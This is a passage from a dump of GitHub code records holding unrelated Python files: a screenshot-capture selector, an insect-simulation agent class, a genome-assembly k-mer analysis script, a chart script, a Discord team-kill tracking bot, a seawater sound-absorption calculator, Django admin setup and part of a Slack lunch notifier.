exp_single_label(csv_dir, seeds, get_fine_food, vectorizer, experiment_name, config_to_do, evals, steps,\n average, active_sample_size)","repo_name":"aesuli/ics-exp","sub_path":"src/exp_transf_imdb_food.py","file_name":"exp_transf_imdb_food.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33444259490","text":"import logging\nimport sys\nfrom typing import Callable\n\nfrom normcap.screengrab import utils\nfrom normcap.screengrab.utils import (\n has_screenshot_permission,\n macos_open_privacy_settings,\n macos_request_screenshot_permission,\n macos_reset_screenshot_permission,\n)\n\n\nclass ScreenshotError(Exception):\n ...\n\n\nclass ScreenshotResponseError(ScreenshotError):\n ...\n\n\nclass ScreenshotRequestError(ScreenshotError):\n ...\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef _is_pyside6_64plus() -> bool:\n import PySide6\n\n version_tuple = PySide6.__version__.split(\".\")\n return version_tuple[0] >= \"6\" and version_tuple[1] >= \"4\"\n\n\ndef get_capture_func() -> Callable:\n # fmt: off\n if sys.platform != \"linux\" or not utils.has_wayland_display_manager():\n logger.debug(\"Select capture method QT\")\n from normcap.screengrab import qt\n return qt.capture\n\n if utils.has_dbus_portal_support():\n if _is_pyside6_64plus():\n logger.debug(\"Select capture method DBUS portal\")\n from normcap.screengrab import dbus_portal\n return dbus_portal.capture\n\n logger.debug(\"Select capture method DBUS portal legacy\")\n from normcap.screengrab import dbus_portal_legacy\n return dbus_portal_legacy.capture\n\n logger.debug(\"Select capture method DBUS shell\")\n from normcap.screengrab import dbus_shell\n\n return dbus_shell.capture\n # fmt: on\n\n\n__all__ = [\n \"has_screenshot_permission\",\n \"macos_open_privacy_settings\",\n \"macos_request_screenshot_permission\",\n \"macos_reset_screenshot_permission\",\n \"get_capture_func\",\n]\n","repo_name":"rioncarter/normcap.dynobo","sub_path":"normcap/screengrab/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"9643408486","text":"import dataclasses as dclass\n\nimport source.hint as hint\nimport source.keyword as keyword\n\nimport source.agents.insect as insect\n\n\n@dclass.dataclass\nclass Pupa(insect.Insect):\n \"\"\"\n Class to contain a pupa agent\n - inherits from base insect class\n\n Variables:\n survival: survival system\n development: development system\n\n Methods:\n survive: have the pupa survive\n develop: have the pupa develop\n \"\"\"\n\n survival: hint.pupa_survival\n development: hint.pupa_development\n\n def survive(self) -> hint.agent_list:\n \"\"\"\n Run the survive behavior\n\n Effects:\n run behavior to determine if this survives\n\n Returns:\n empty list\n \"\"\"\n\n if self.alive:\n self.survival.survive(self)\n\n return []\n\n def develop(self) -> hint.agent_list:\n \"\"\"\n Run the develop behavior\n\n Effects:\n run behavior to determine if this develops\n\n Returns:\n empty list\n \"\"\"\n\n if self.alive:\n self.development.develop(self)\n\n return []\n\n @classmethod\n def initialize(cls, unique_id: str,\n simulation: hint.simulation,\n location: hint.location,\n mass: float,\n genotype: str) -> 'Pupa':\n \"\"\"\n Initialize a new pupa agent\n\n Args:\n unique_id: the agent's unique_id\n simulation: the master simulation\n location: the agent's location\n mass: the agent's mass\n genotype: the agent's genotype\n\n Returns:\n A fully initialized agent\n \"\"\"\n\n agent_key = keyword.pupa\n alive = True\n age = 0\n death = keyword.alive\n\n survival = simulation.behaviors.survive_pupa\n development = simulation.behaviors.develop_pupa\n\n return cls(agent_key, unique_id, simulation, location,\n alive, mass, genotype, age, death,\n survival, development)\n\n @classmethod\n def setup(cls, unique_id_num: int,\n initial_key: str,\n simulation: hint.simulation,\n genotype: str) -> 'Pupa':\n \"\"\"\n Setup an initial population pupa\n\n Args:\n unique_id_num: unique_id number\n initial_key: key for where agent was initialized\n simulation: the master simulation\n genotype: the agent's genotype\n\n Returns:\n a pupa initialized by a population\n \"\"\"\n\n unique_id = '{}{}{}'.format(initial_key,\n unique_id_num,\n keyword.pupa)\n location = simulation.space.new_location(keyword.pupa_depth)\n mass = simulation.models[keyword.init_mature](genotype)\n\n return cls.initialize(unique_id, simulation, location, mass, genotype)\n\n @classmethod\n def advance(cls, larva: hint.larva) -> 'Pupa':\n \"\"\"\n Create a pupa agent for this larva\n\n Args:\n larva: the larva in question\n\n Returns:\n A pupa version of this larva\n \"\"\"\n\n location = larva.location[:keyword.pupa_depth]\n\n return cls.initialize(larva.unique_id,\n larva.simulation,\n location,\n larva.mass,\n larva.genotype)\n","repo_name":"WilliamJamieson/FallArmyworm_Thesis","sub_path":"source/agents/pupa.py","file_name":"pupa.py","file_ext":"py","file_size_in_byte":3577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12835497161","text":"import os\nimport sys\nfrom os.path import join, isdir\n\nfrom src import qconfig\nfrom src.common import parse_ref_stats\nfrom src.kmers_analyzer import *\nfrom src.kmers_analyzer import _get_dist_inconstistency\nfrom src.logger import *\n\n\ndef main():\n output_dirpath, tmp_dirpath, ref_kmc_out_fpath, reference_csv, is_cyclic, \\\n downsampled_kmers_fpath, contigs_fpath, label, threads = sys.argv[1:]\n threads = int(threads)\n\n is_cyclic = True if is_cyclic == 'True' else False\n genome_size, reference_chromosomes, ns_by_chromosomes = parse_ref_stats(reference_csv, skip_ns=True)\n\n print_info(' Analyzing assemblies completeness...')\n kmer_len = qconfig.unique_kmer_len\n\n print_info(' ' + label)\n\n kmc_out_fpath = count_kmers(tmp_dirpath, contigs_fpath, kmer_len, threads)\n intersect_out_fpath = intersect_kmers(tmp_dirpath, [ref_kmc_out_fpath, kmc_out_fpath], threads)\n matched_kmers = get_kmers_cnt(tmp_dirpath, intersect_out_fpath, threads)\n unique_kmers = get_kmers_cnt(tmp_dirpath, ref_kmc_out_fpath, threads, run_histo=False)\n completeness = matched_kmers * 100.0 / unique_kmers\n\n print_info(' Analyzing assemblies correctness...')\n\n corr_len = None\n mis_len = None\n undef_len = None\n translocations, relocations = None, None\n total_len = 0\n contig_lens = dict()\n for record in read_fasta(contigs_fpath):\n total_len += len(record.seq)\n contig_lens[record.id] = len(record.seq)\n\n if not downsampled_kmers_fpath or not exists(downsampled_kmers_fpath):\n print_warning('Scaffolding accuracy will not be assessed.')\n else:\n corr_len = 0\n mis_len = 0\n kmers_by_contig, kmers_pos_by_contig = align_kmers(label, tmp_dirpath, contigs_fpath, downsampled_kmers_fpath,\n threads)\n cyclic_ref_lens = genome_size if is_cyclic else None\n translocations = 0\n relocations = 0\n with open(join(tmp_dirpath, label + '.misjoins.txt'), 'w') as out:\n for contig in kmers_by_contig.keys():\n contig_markers = []\n prev_pos, prev_ref_pos, prev_chrom, marker = None, None, None, None\n for pos, kmer_name in sorted(zip(kmers_pos_by_contig[contig], kmers_by_contig[contig]), key=lambda x: x[0]):\n ref_chrom, ref_pos = kmer_name.rsplit('_', 1)\n ref_pos = int(ref_pos)\n if prev_pos and prev_chrom:\n if prev_chrom == ref_chrom and abs(\n abs(pos - prev_pos) / abs(ref_pos - prev_ref_pos) - 1) <= 0.05:\n marker = (pos, ref_pos, ref_chrom)\n elif marker:\n contig_markers.append(marker)\n pos, ref_pos, ref_chrom, marker = None, None, None, None\n prev_pos, prev_ref_pos, prev_chrom = pos, ref_pos, ref_chrom\n if marker:\n contig_markers.append(marker)\n prev_pos, prev_ref_pos, prev_chrom = None, None, None\n is_misassembled = False\n for marker in contig_markers:\n pos, ref_pos, ref_chrom = marker\n if prev_pos and prev_chrom:\n if ref_chrom != prev_chrom:\n translocations += 1\n out.write('Translocation in %s: %s %d | %s %d\\n' %\n (contig, prev_chrom, prev_pos, ref_chrom, pos))\n is_misassembled = True\n elif _get_dist_inconstistency(pos, prev_pos, ref_pos, prev_ref_pos,\n cyclic_ref_lens) > EXT_RELOCATION_SIZE:\n relocations += 1\n out.write('Relocation in %s: %d (%d) | %d (%d)\\n' %\n (contig, prev_pos, prev_ref_pos, pos, ref_pos))\n is_misassembled = True\n prev_pos, prev_ref_pos, prev_chrom = pos, ref_pos, ref_chrom\n if is_misassembled:\n mis_len += contig_lens[contig]\n elif len(contig_markers) > 0:\n corr_len += contig_lens[contig]\n undef_len = total_len - corr_len - mis_len\n\n create_kmc_stats_file(output_dirpath, contigs_fpath, label, completeness,\n corr_len, mis_len, undef_len, total_len, translocations, relocations)\n\n\nif __name__ == '__main__':\n main()","repo_name":"ablab/quast_snakemake","sub_path":"scripts/large_assembly_analysis/run_kmc.py","file_name":"run_kmc.py","file_ext":"py","file_size_in_byte":4591,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"13602209031","text":"import pandas as pd\nimport nvd3\nfrom IPython.display import Image\nimport matplotlib\nfrom matplotlib import pyplot as plt\nfrom IPython.core.display import display, HTML\nfrom nvd3 import lineChart\n#\ndf = pd.read_csv(r\"/home/varun/q4-3.1-table.csv\")\ndf = pd.DataFrame(df)\n#\noutput_file = open('Literacy_rate.html', 'w')\nchart = lineChart(width = 1000,name=\"lineChart\", x_is_date=False, x_axis_format=None)\n#\nxdata = df['Year']\ny1 = df['Rural Female']\ny2 = df['Rural Male']\ny3 = df['Urban Female']\ny4 = df['Urban Male']\nextra_serie = {\"tooltip\": {\"y_start\": \"There are \", \"y_end\": \" calls\"}}\nchart.add_serie(y=y1, x=xdata, name='Rural Female', extra=extra_serie)\nextra_serie = {\"tooltip\": {\"y_start\": \"\", \"y_end\": \" min\"}}\nchart.add_serie(y=y2, x=xdata, name='Rural Male', extra=extra_serie)\nextra_serie = {\"tooltip\": {\"y_start\": \"There are \", \"y_end\": \" calls\"}}\nchart.add_serie(y=y3, x=xdata, name='Urban Female', extra=extra_serie)\nextra_serie = {\"tooltip\": {\"y_start\": \"\", \"y_end\": \" min\"}}\nchart.add_serie(y=y4, x=xdata, name='Urban Male', extra=extra_serie)\n#\nchart.set_containerheader(\"

    Sex wise Literacy rate among Rural & Urban India

    \")\nchart.buildhtml()\ndisplay(Image(chart.htmlcontent))\noutput_file.write(chart.htmlcontent)\noutput_file.close()","repo_name":"varunkashyapks/Help","sub_path":"exam4.py","file_name":"exam4.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29814405848","text":"import discord\nfrom discord.ext import commands\nimport pymongo\nfrom pymongo import MongoClient\n\nclient = discord.Client()\n\ncluster = MongoClient(mongo_url)\ndb = cluster[\"dos\"]\ncollection = db[\"ttk\"]\n\n\n@client.event\nasync def on_ready():\n print('We have logged in as {0.user}'.format(client))\n\n\n@client.event\nasync def on_message(message):\n # $tk Killer Victim\n # Adds killer/victim to database and initializes them with 1 kill and 1 death\n # If they already exists updates accordingly\n if message.content.startswith(\"$tk\"):\n players = get_players(message.content)\n killer = {\"_id\": players[1]}\n victim = {\"_id\": players[2]}\n\n if collection.count_documents(killer) == 0:\n victims = [players[2]]\n killers = []\n post1 = {\n \"_id\": players[1],\n \"teamKill\": 1,\n \"killedBy\": killers,\n \"victims\": victims,\n \"death\": 0\n }\n collection.insert_one(post1)\n else:\n query = {\"_id\": players[1]}\n user = collection.find(query)\n old_kills = 0\n old_victims = []\n\n for result in user:\n old_kills = result[\"teamKill\"]\n old_victims = result[\"victims\"]\n updated_kills = old_kills + 1\n old_victims.append(players[2])\n collection.update_one({\"_id\": players[1]}, {\"$set\": {\"teamKill\": updated_kills, \"victims\": old_victims}})\n if collection.count_documents(victim) == 0:\n killers = [players[1]]\n victims = []\n post2 = {\n \"_id\": players[2],\n \"teamKill\": 0,\n \"killedBy\": killers,\n \"victims\": victims,\n \"death\": 1,\n }\n collection.insert_one(post2)\n else:\n query = {\"_id\": players[2]}\n user = collection.find(query)\n old_deaths = 0\n old_killers = []\n\n for result in user:\n old_deaths = result[\"death\"]\n old_killers = result[\"killedBy\"]\n updated_deaths = old_deaths + 1\n old_killers.append(players[1])\n collection.update_one({\"_id\": players[2]}, {\"$set\": {\"killedBy\": old_killers, \"death\": updated_deaths}})\n await message.channel.send('```Team Kill Logged.```')\n\n # $killCount Victim Killer\n # Returns number of times killer killed victim\n elif message.content.startswith(\"$killCount\"):\n players = get_players(message.content)\n query = {\"_id\": players[1]}\n user = collection.find(query)\n killers = []\n\n for result in user:\n killers = result[\"killedBy\"]\n count = get_count(players[2], killers)\n await message.channel.send(\"```\" + players[1] + \" has been killed by \" + players[2] + \" \"\n + str(count) + \" times. ```\")\n # $remove Killer Victim\n # Removes a kill from the killer and a death from the victim\n elif message.content.startswith(\"$remove\"):\n players = get_players(message.content)\n query1 = {\"_id\": players[1]}\n query2 = {\"_id\": players[2]}\n\n # Make sure both users exist\n if collection.count_documents(query1) == 0 or collection.count_documents(query2) == 0:\n print(True)\n await message.channel.send(\"```Please ensure that both players are spelled correctly or have been\"\n \"previously added to the TeamKill Tracker (case sensitive)```\")\n return\n\n user1 = collection.find(query1)\n user2 = collection.find(query2)\n\n old_kills = 0\n old_victims = []\n for result in user1:\n old_kills = result[\"teamKill\"]\n old_victims = result[\"victims\"]\n # Check if killer has killed anyone\n if len(old_victims) == 0:\n await message.channel.send(\"```\" + players[1] + \" has not killed any players...```\")\n return\n updated_kills = old_kills - 1\n old_victims.pop()\n collection.update_one({\"_id\": players[1]}, {\"$set\": {\"teamKill\": updated_kills, \"victims\": old_victims}})\n\n old_deaths = 0\n old_killers = []\n for result in user2:\n old_deaths = result[\"death\"]\n old_killers = result[\"killedBy\"]\n # Check if victim has died\n if len(old_killers) == 0:\n await message.channel.send(\"```\" + players[2] + \" has not been killed by anyone yet...```\")\n return\n updated_deaths = old_deaths - 1\n old_killers.pop()\n collection.update_one({\"_id\": players[2]}, {\"$set\": {\"killedBy\": old_killers, \"death\": updated_deaths}})\n await message.channel.send(\"```One kill has been removed from \" + players[1] +\n \" and one death has been removed from \" + players[2] + \"```\")\n # $serialKiller Killer\n # Returns the total amount of team kills of the player\n elif message.content.startswith(\"$serialKiller\"):\n players = get_players(message.content)\n query = {\"_id\": players[1]}\n if collection.count_documents(query) == 0:\n await message.channel.send(\"```No such player exists.```\")\n return\n user = collection.find(query)\n\n kills = []\n for result in user:\n kills = result[\"victims\"]\n kill_count = len(kills)\n await message.channel.send(\"```\" + players[1] + \" has killed \" + str(kill_count) + \"players```\")\n # $deathCount Victim\n # Returns the total number of deaths\n elif message.content.startswith(\"$deathCount\"):\n players = get_players(message.content)\n query = {\"_id\": players[1]}\n if collection.count_documents(query) == 0:\n await message.channel.send(\"```No such player exists.```\")\n return\n user = collection.find(query)\n\n deaths = []\n for result in user:\n deaths = result[\"killedBy\"]\n death_count = len(deaths)\n await message.channel.send(\"```\" + players[1] + \" has died \" + str(death_count) + \" times```\")\n # $stalker Victim\n # Returns the name of person that has killed victim most\n elif message.content.startswith(\"$stalker\"):\n players = get_players(message.content)\n query = {\"_id\": players[1]}\n if collection.count_documents(query) == 0:\n await message.channel.send(\"```No such player exists.```\")\n return\n user = collection.find(query)\n\n deaths = []\n for result in user:\n deaths = result[\"killedBy\"]\n stalker = get_stalker(deaths)\n await message.channel.send(\"```\" + stalker + \" has killed \" + players[1] + \" the most.```\")\n # $help\n # Returns commands for how to use bot\n elif message.content.startswith(\"$help\"):\n await message.channel.send(\n \"```List of commands for TTK. Everything after the first dollarsign command are the parameters\\n\" +\n \"$tk Killer Victim - Logs a kill for the killer and death for the victim\\n\" +\n \"$remove Killer Victim - Removes a kill from the Killer and death from the Victim if both users are valid\\n\" +\n \"$killCount Victim Killer - Returns the number of time Killer has killed Victim\\n\" +\n \"$deathCount Victim - Returns the number of times the Victim has died\\n\" +\n \"$serialKiller Killer - Returns the the total number of teamkills by the killer\\n\" +\n \"$stalker Victim - Returns the player that has killed the Victim the most\\n```\"\n )\n\n\ndef get_stalker(deaths):\n Hash = dict()\n for i in range(len(deaths)):\n if deaths[i] in Hash.keys():\n Hash[deaths[i]] += 1\n else:\n Hash[deaths[i]] = 1\n\n max_count = 0\n res = -1\n for i in Hash:\n if max_count < Hash[i]:\n res = i\n max_count = Hash[i]\n return res\n\n\ndef get_players(players):\n return players.split(\" \")\n\n\ndef get_count(killer, list_killers):\n count = 0\n for kills in list_killers:\n if kills == killer:\n count = count + 1\n return count\n\n\n","repo_name":"baeddavid/TTK","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35494303111","text":"import argparse\nimport csv\nimport os\n\nfrom google.cloud import bigquery\nfrom google.cloud import language\nfrom google.cloud.bigquery import SchemaField\n\ndef main(credential_file, dataset):\n # Auth stuff setup\n # -----------------\n\n os.environ['GOOGLE_APPLICATION_CREDENTIALS'] = credential_file\n language_service = language.Client()\n bigquery_service = bigquery.Client()\n\n # Fetch users comments from BigQuery public dataset\n # -------------------------------------------------\n\n QUERY = 'SELECT * FROM `stackoverflow-sentiment.sentiment.v_comments_on_questions_from_noobs`'\n query = bigquery_service.run_sync_query(QUERY)\n query.timeout_ms = 60000\n query.use_legacy_sql = False\n query.use_query_cache = True\n query.run()\n\n # Prepare a file writer to write a CSV and load to BigQuery\n # ---------------------------------------------------------\n\n csv_file = open('../sentiment.csv', 'wt')\n writer = csv.writer(csv_file)\n writer.writerow(('id', 'score', 'magnitude'))\n\n # Create the dataset & table\n # --------------------------\n\n dataset = bigquery_service.dataset(dataset)\n if not dataset.exists:\n dataset.create()\n SCHEMA = [\n SchemaField('comment_id', 'INTEGER', mode='required'),\n SchemaField('score', 'FLOAT', mode='required'),\n SchemaField('magnitude', 'FLOAT', mode='required')\n ]\n table = dataset.table('comment_sentiments', SCHEMA)\n if table.exists:\n table.delete # truncate\n table.create()\n\n # Run each comment through the natural language API to get the sentiment of the comment\n # -------------------------------------------------------------------------------------\n\n records_processed = 0\n for row in query.rows:\n comment_id, comment = row[0], row[1]\n records_processed += 1\n print('Processing record %d with comment: \"%s\"' % (records_processed, comment))\n try:\n document = language_service.document_from_text(comment)\n sentiment = document.analyze_sentiment()\n writer.writerow((comment_id, sentiment.score, sentiment.magnitude))\n except Exception as e:\n print(e)\n\n # Upload the sentiment file to BigQuery as a table\n # ------------------------------------------------\n\n csv_file.flush()\n csv_file.close()\n with open(csv_file.name, 'rb') as readable:\n table.upload_from_file(readable, source_format='CSV', skip_leading_rows=1)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('credential_file', help='Path to your service account key (JSON file)')\n parser.add_argument('dataset', help='The dataset where the sentiment results should be uploaded to as a BQ table')\n args = parser.parse_args()\n main(credential_file=args.credential_file, dataset=args.dataset)\n","repo_name":"shinesolutions/stackoverflow-sentiment","sub_path":"sentiment/stackoverflow_sentiment.py","file_name":"stackoverflow_sentiment.py","file_ext":"py","file_size_in_byte":2854,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"3595322950","text":"import scipy.io\nimport numpy as np\n# label_name = 'nc'\nlabel_name = 'emci'\n# label_name = 'lmci'\n\n\n\nwith open('data/brainNet/Edge_AAL90_Weighted_'+label_name+'.edge',\"w\") as file:\n # 加載mat文件\n data = scipy.io.loadmat('data/brainNet/EMCI/kalmancorr/kalmancorr_0.01_0.6.mat')\n\n\n # print(data['danao'])\n roi_data = data['corr']\n corr_data = np.array([np.array(roi_data[i][0], dtype=np.float32) for i in range(len(roi_data))]) # num*90*90*130\n\n sample_num, _, _, frame = corr_data.shape\n\n aa = np.zeros(8100 * sample_num).reshape(sample_num, 90, 90)\n bb = np.zeros(8100).reshape(90, 90)\n\n print(corr_data.shape)\n for k in range(sample_num):\n for i in range(90):\n for j in range(90):\n # print(corr_data[k][i][j].shape)\n # print(np.sum([corr_data[k][i][j]]))\n aa[k][i][j] = np.sum([corr_data[k][i][j]])\n aa[k] = aa[k] / frame * (-1)\n for k in range(sample_num):\n bb = np.sum([bb, aa[k]], axis=0) # 0行加 1列加\n\n bb = bb / sample_num\n for i in range(90):\n for j in range(90):\n #\n if bb[i][j]!=0:\n bb[i][j] = (bb[i][j]-0.992)*1000\n if bb[i][j]<0 or bb[i][j]>1:\n bb[i][j]=0\n file.write(str(bb[i][j])+'\\t')\n file.write('\\n')\n","repo_name":"jiangyiqiao/rsfMRI_PLOT","sub_path":"plot_dFC.py","file_name":"plot_dFC.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36945162849","text":"#name:\t\t\tcomputeAbsorption\n#created:\t\tJuly 2017\n#by:\t\t\tp.kennedy@fugro.com\n#description:\tpython module to compute the absorption of sound in seawater, and read a CTD probe CSV file.\n\nimport os.path\nimport struct\nimport pprint\nimport time\nimport datetime\nimport math\nimport random\nfrom datetime import datetime\nfrom datetime import timedelta\nfrom statistics import mean\nimport csv\n\n########################################\ndef main():\n\n\t# filename = \"F:/Projects/multispectral/DataRev2/V2 - Aug 2017/20170526 - NEWBEX/CTD/025348_2017-05-24_13-17-00Down .csv\"\n\t# filename = \"F:/Projects/multispectral/DataRev2/V2 - Aug 2017/20170526 - NEWBEX/CTD/025348_2017-05-24_13-17-00Up .csv\"\n\tfilename = \"F:/Projects/multispectral/DataRev2/V2 - Aug 2017/Bedford Basin/20170502 - CTD/CTD 025348_2017-04-30_17-13-05.csv\"\n\twith open(filename, 'r') as csvfile:\n\t\treader = csv.reader(csvfile, delimiter=',', quotechar='|')\n\n\t\tfor row in reader:\n\t\t\tif len(row) == 0:\n\t\t\t\tcontinue\n\t\t\tif row[0].startswith('2017'):\n\t\t\t\tconductivity = float(row[2]) * 1000\n\t\t\t\ttemperature = float(row[3])\n\t\t\t\tdepth = float(row[4])\n\t\t\t\tsalinity = computesalinity(conductivity, temperature)\n\t\t\t\tabsorption100 = computAbsorption(100, temperature, salinity, depth)\n\t\t\t\tabsorption200 = computAbsorption(200, temperature, salinity, depth)\n\t\t\t\tabsorption400 = computAbsorption(400, temperature, salinity, depth)\n\t\t\t\t\n\t\t\t\tprint(\"%.3f,%.3f,%.3f,%.3f,%.3f,%.3f\" %(temperature, salinity, depth, absorption100, absorption200, absorption400))\n\treturn\n\t#Pressure (Decibar),Depth (Meter),Temperature (Celsius),Conductivity (MicroSiemens per Centimeter),Specific conductance (MicroSiemens per Centimeter),Salinity (Practical Salinity Scale),Sound velocity (Meters per Second),Density (Kilograms per Cubic Meter)\n\tfilename = \"F:/Projects/multispectral/DataRev2/V2 - Aug 2017/20161130 - Patricia Bay/CTD/CC1345004_20161129_201702.csv\"\n\twith open(filename, 'r') as csvfile:\n\t\treader = csv.reader(csvfile, delimiter=',', quotechar='|')\n\t\tfor row in reader:\n\t\t\tif row[0].startswith('%'):\n\t\t\t\tcontinue\n\t\t\tif row[0].startswith('P'):\n\t\t\t\tcontinue\n\t\t\ttemperature = float(row[2])\n\t\t\tsalinity = float(row[5])\n\t\t\tdepth = float(row[1])\n\t\t\t# print(row)\n\t\t\tabsorption100 = computAbsorption(100, temperature, salinity, depth)\n\t\t\tabsorption200 = computAbsorption(200, temperature, salinity, depth)\n\t\t\tabsorption400 = computAbsorption(400, temperature, salinity, depth)\n\t\t\tprint(\"%.3f,%.3f,%.3f,%.3f,%.3f,%.3f\" %(temperature, salinity, depth, absorption100, absorption200, absorption400))\n\t\n########################################\n#from: view-source:http:#resource.npl.co.uk/acoustics/techguides/seaabsorption/\ndef computAbsorption(frequency=1, temperature=8, salinity=35, depth=50, pH=8):\n\t'''compute the absoption of sound in seawater using the AinslieMcColm algortithm'''\n\t# calculation of absorption according to:\n\t# Ainslie & McColm, J. Acoust. Soc. Am., Vol. 103, No. 3, March 1998\n\t# f frequency (kHz)\n\t# T Temperature (degC)\n\t# S Salinity (ppt)\n\t# D Depth (metres)\n\t# pH Acidity\n\n\t# # Total absorption = Boric Acid Contrib. + Magnesium Sulphate Contrib. + Pure Water Contrib.\n\n\tBoric = 0\t\t# boric acid contribution\n\tMgSO4 = 0\t\t# magnesium sulphate contribution\n\tH2O = 0\t\t\t# pure water contribution\n\tAlpha = 0\t\t# total absorption (dB/km)\n\n\tT_kel = 0\t \t# ambient temperature (Kelvin)\n\n\tA1 = 0\t\t\t# (dB/km/kHz)\n\tA2 = 0\t\t\t# (dB/km/kHz)\n\tA3 = 0\t\t\t# (dB/km/kHz)\n\n\tP1 = 0\t\t\t# pressure correction factor\n\tP2 = 0\t\t\t#\n\tP3 = 0\t\t\t#\n\n\tfrequency1 = 0\t\t\t# (kHz)\n\tfrequency2 = 0\t\t\t# (kHz)\n\n\tKelvin = 273.1\t# for converting to Kelvin (273.15)\n\n\tdepth = depth / 1000\n\t# Measured ambient temp\n\tT_kel = Kelvin + temperature\n\n\t# Boric acid contribution\n\tA1 = 0.106 * math.exp((pH - 8)/0.56)\n\tP1 = 1\n\tfrequency1 = 0.78 * math.sqrt(salinity / 35) * math.exp(temperature/26)\n\tBoric = (A1 * P1 * frequency1 * frequency**2)/(frequency**2 + frequency1**2)\n\n\t# MgSO4 contribution\n\tA2 = 0.52 * (salinity / 35) * (1 + temperature/43)\n\tP2 = math.exp(-depth/6)\n\tfrequency2 = 42 * math.exp(temperature/17)\n\tMgSO4 = (A2 * P2 * frequency2 * frequency**2)/(frequency**2 + frequency2**2)\n\n\t# Pure water contribution\n\tA3 = 0.00049*math.exp(-(temperature/27 + depth/17))\n\tP3 = 1\n\tH2O = A3 * P3 * frequency**2\n\n\t# Total absorption (dB/km)\n\tAlpha = Boric + MgSO4 + H2O\n\treturn Alpha\n\n########################################\ndef computesalinity(conductivity=35000, temperature=10):\n\t'''gives salinity (psu)\n\tas a function of conductivity (micro S/cm)and temperature(C)\n\trounded to nearest tenth of a psu\n\tcode adapted from c-code found at http://www.fivecreeks.org/monitor/sal.html\n\tor see Standard Methods for the Examination of Water and Wastewater\n\tdps - Feb 17, 2003'''\n\t\n\ta0=0.008\n\ta1=-0.1692\n\ta2=25.3851\n\ta3=14.0941\n\ta4=-7.0261\n\ta5=2.7081\n\n\tb0=0.0005\n\tb1=-0.0056\n\tb2=-0.0066\n\tb3=-0.0375\n\tb4=0.0636\n\tb5=-0.0144\n\n\tc0=0.6766097\n\tc1=0.0200564\n\tc2=0.0001104259\n\tc3=-0.00000069698\n\tc4=0.0000000010031\n\n\tif (temperature < 0 or 30 < temperature):\n\t\treturn None\n\n\tif (conductivity <= 0):\n\t\tsal=\"Out of range\"\n\n\tr=conductivity/42914\n\tr /= (c0 + temperature * (c1 + temperature * (c2 + temperature * (c3 + temperature * c4))))\n\n\tr2=math.sqrt(r)\n\tds=b0+r2*(b1+r2*(b2+r2*(b3+r2*(b4+r2*b5))))\n\tds*=((temperature-15.0)/(1.0+0.0162*(temperature-15.0)))\n\n\tsalinity=a0+r2*(a1+r2*(a2+r2*(a3+r2*(a4+r2*a5))))+ds\n\n\treturn salinity\n\n########################################\nif __name__ == \"__main__\":\n\tmain()\n","repo_name":"pktrigg/pygsf","sub_path":"computeabsorption.py","file_name":"computeabsorption.py","file_ext":"py","file_size_in_byte":5387,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"39415268710","text":"from django.contrib import admin\n\nfrom .models import CustomUser\nfrom django.contrib.auth.admin import UserAdmin\n\nfrom crm.models import hzUserInfo, hzUserEvents\n\nfrom crm.forms import CustomUserCreationForm, CustomUserChangeForm\n\n\nclass InlinehzUserInfo(admin.StackedInline):\n model = hzUserInfo\n\n\nclass InlinehzUserEvents(admin.StackedInline):\n model = hzUserEvents\n\n\nclass CustomUserAdmin(UserAdmin):\n add_form = CustomUserCreationForm\n form = CustomUserChangeForm\n list_display = ('username', 'email', 'is_staff', 'is_superuser')\n inlines = [InlinehzUserInfo, InlinehzUserEvents, ]\n\n\n\nadmin.site.register(CustomUser, CustomUserAdmin)\n\n\n@admin.register(hzUserInfo)\nclass hzUserInfoAdmin(admin.ModelAdmin):\n pass\n\n\n@admin.register(hzUserEvents)\nclass hzUserEventsAdmin(admin.ModelAdmin):\n list_display = ('date_time', 'title', 'hz_user')\n # list_editable = ('external_id', 'state',)\n\n","repo_name":"lonkindi/hzProject","sub_path":"hzClinic/users/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16590115681","text":"import os\nimport slack\nimport datetime\nimport time\nimport threading\nimport holidays\nfrom lunch import Lunch\n\n\nclass Notify:\n\n def __init__(self):\n self.slack_token = os.environ.get('SLACK_BOT_TOKEN')\n self.slack_client = slack.WebClient(self.slack_token)\n self.slack_channel = os.environ.get('SLACK_CHANNEL')\n self.target_hour = 9\n self.target_min = 0\n self.last_minute = -1\n\n def notify_channel(self):\n\n curent_time = datetime.datetime.today().now()\n current_hour = curent_time.hour\n current_minute = curent_time.minute\n if current_hour - self.target_hour > 0:\n sleep_time = 24 - current_hour + \\\n self.target_hour - (current_minute / 60)\n elif current_hour - self.target_hour < 0:\n sleep_time = self.target_hour - \\\n current_hour - (current_minute / 60)\n elif current_hour == self.target_hour:\n if current_minute == self.target_min:\n sleep_time = 0\n else:\n sleep_time = 24 - current_hour + \\\n self.target_hour - (current_minute / 60)\n if sleep_time == 0 and self.last_minute != current_minute:\n self.last_minute = current_minute\n # print('message sent for today-waiting till 11:00a.m next day')\n lunch = Lunch(self.slack_channel)\n if(lunch.getDayOfWeek() == None or self.isTodayHoliday()): # weekends or holidays skip\n threading.Timer(sleep_time * 3600, self.notify_channel).start()\n return\n postmessage = lunch.get_message_payload()\n slack_client = slack.WebClient(self.slack_token)\n 